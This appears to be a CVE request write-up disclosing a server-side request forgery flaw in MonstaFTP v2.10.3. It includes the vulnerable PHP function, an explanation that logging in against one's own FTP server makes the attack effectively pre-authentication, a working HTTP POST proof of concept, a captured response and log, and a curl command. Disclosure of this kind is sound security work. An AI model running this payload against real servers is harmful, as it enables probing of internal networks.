

master

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CVE\_Request / MonstaFTP / MonstaFTP\_v2\_10\_3\_SSRF.md



z3r0yu ssrf and path traversal vulnerability for webid

History

0 contributors

67 lines (48 sloc) | 3.28 KB

...

# SSRF vulnerability in performFetchRequest Function of HTTPFetcher.php File (MonstaFTP v2.10.3 version)

## 0x01 Affected version

vendor: <https://www.monstaftp.com/>

version: v2.10.3

php version: 7.2.x

## 0x02 Vulnerability description

The vulnerable code is located in the `performFetchRequest` function of the `application/api/file_fetch/HTTPFetcher.php` file, which does not perform sufficient checksum on the source parameter, leading to a taint from the `$context['source']` variable and enters the tainted function `curl_setopt`, which sends a request to the URL specified by the source parameter after the `curl_exec` function is executed, eventually leading to an SSRF vulnerability.

Although the vulnerability requires login authentication verification, but because the FTP/SFTP login here is able to login to our own FTP server, so the login field can pass the verification as long as it is set, so as to take advantage of the SSRF vulnerability. So it is equivalent to pre-authentication SSRF, which is more harmful!

```
private function performFetchRequest() {
    $fp = fopen($this->tempSavePath, 'w+');
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $this->fetchRequest->getURL());
    curl_setopt($ch, CURLOPT_FILE, $fp);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_HEADERFUNCTION, array(&$this->fetchRequest, 'handleCurl
    $success = @curl_exec($ch);
    $curlError = @curl_error($ch);
    $effectiveUrl = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    curl_close($ch);
    fclose($fp);
}
```

Because the `source` parameter is unrestricted, it is also possible to use the server side to send requests, such as probing intranet web services. The corresponding PoC is as follows

```
POST /application/api/api.php HTTP/1.1
Host: 172.16.119.130
Content-Length: 275
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/99.0.4844.84 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.16.119.130
Referer: http://172.16.119.130/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

```
request={"connectionType":"sftp","configuration":
{"host":"172.16.119.130","remoteUsername":"zero","initialDirectory":"/tmp/","authent
{"source":"http://172.16.119.1/flag.txt"}}
```

The screenshot displays a web browser window with a REST client interface. The 'Request' tab is active, showing a POST request to `/application/api/api.php` with a JSON body. The 'Response' tab shows an HTML error page from Monsta Exception. Below the browser, a terminal window shows the output of the PHP development server, including a log entry for the request.

**Request**

```
1 POST /application/api/api.php HTTP/1.1
2 Host: 172.16.119.130
3 Accept: application/json, text/plain, */*
4 Content-Type: application/x-www-form-urlencoded
5 Connection: close
6 Content-Length: 275
7
8 request=
{"connectionType":"sftp","configuration":{"host":"172.16.119.130","remoteUsername":"zero","initialDirectory":"/tmp/","authenticationModeName":"Password","password":"123456","port":22},"actionName":"fetchRemoteFile","context":{"source":"http://172.16.119.1/flag.txt"}}
```

**Response**

```
1 HTTP/1.1 577 Monsta Exception
2 Date: Tue, 24 May 2022 02:12:56 GMT
3 Server: Apache/2.4.39 (Unix) OpenSSL/1.1.1b
4 X-Powered-By: PHP/7.2.21
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate
7 Pragma: no-cache
8 Set-Cookie: PHPSESSID=vujr531kqrt8itng5rk0b9d31s; path=/
9 Vary: Accept-Encoding
10 Connection: close
11 Content-Type: text/html; charset=UTF-8
12 Content-Length: 410
13
14 <br />
15 Notice
: Undefined index: destination in <b>
/www/admin/localhost_80/wwwroot/mftp/application/api/request_processor/RequestDispatcher.php
</b>
on line <b>
639
</b>
<br />
16 {"errors":["Error during SFTP UPLOAD_OPERATION, permission denied at:
\\flag.txt\\","localizedErrors":[{"errorName":"FILE_PERMISSION_ERROR","context":"protocol":"SFTP","operation":"UPLOAD_OPERATION","path":"\\flag.txt"}]}
```

**Terminal Output**

```
tmp
> php -S 0.0.0.0:80
PHP 7.2.34 Development Server started at Tue May 24 10:12:51 2022
Listening on http://0.0.0.0:80
Document root is /private/tmp
Press Ctrl-C to quit.
[Tue May 24 10:12:53 2022] 172.16.119.130:35098 [200]: /flag.txt
```

You can also use the following curl command to verify the vulnerability

```
curl -i -s -k -X $'POST' \
-H $'Host: 172.16.119.130' -H $'Accept: application/json, text/plain, */*' -H $'
--data-binary $'request={"connectionType":"sftp","configuration":{"host"
$'http://172.16.119.130/application/api/api.php'
```

## 0x03 Acknowledgement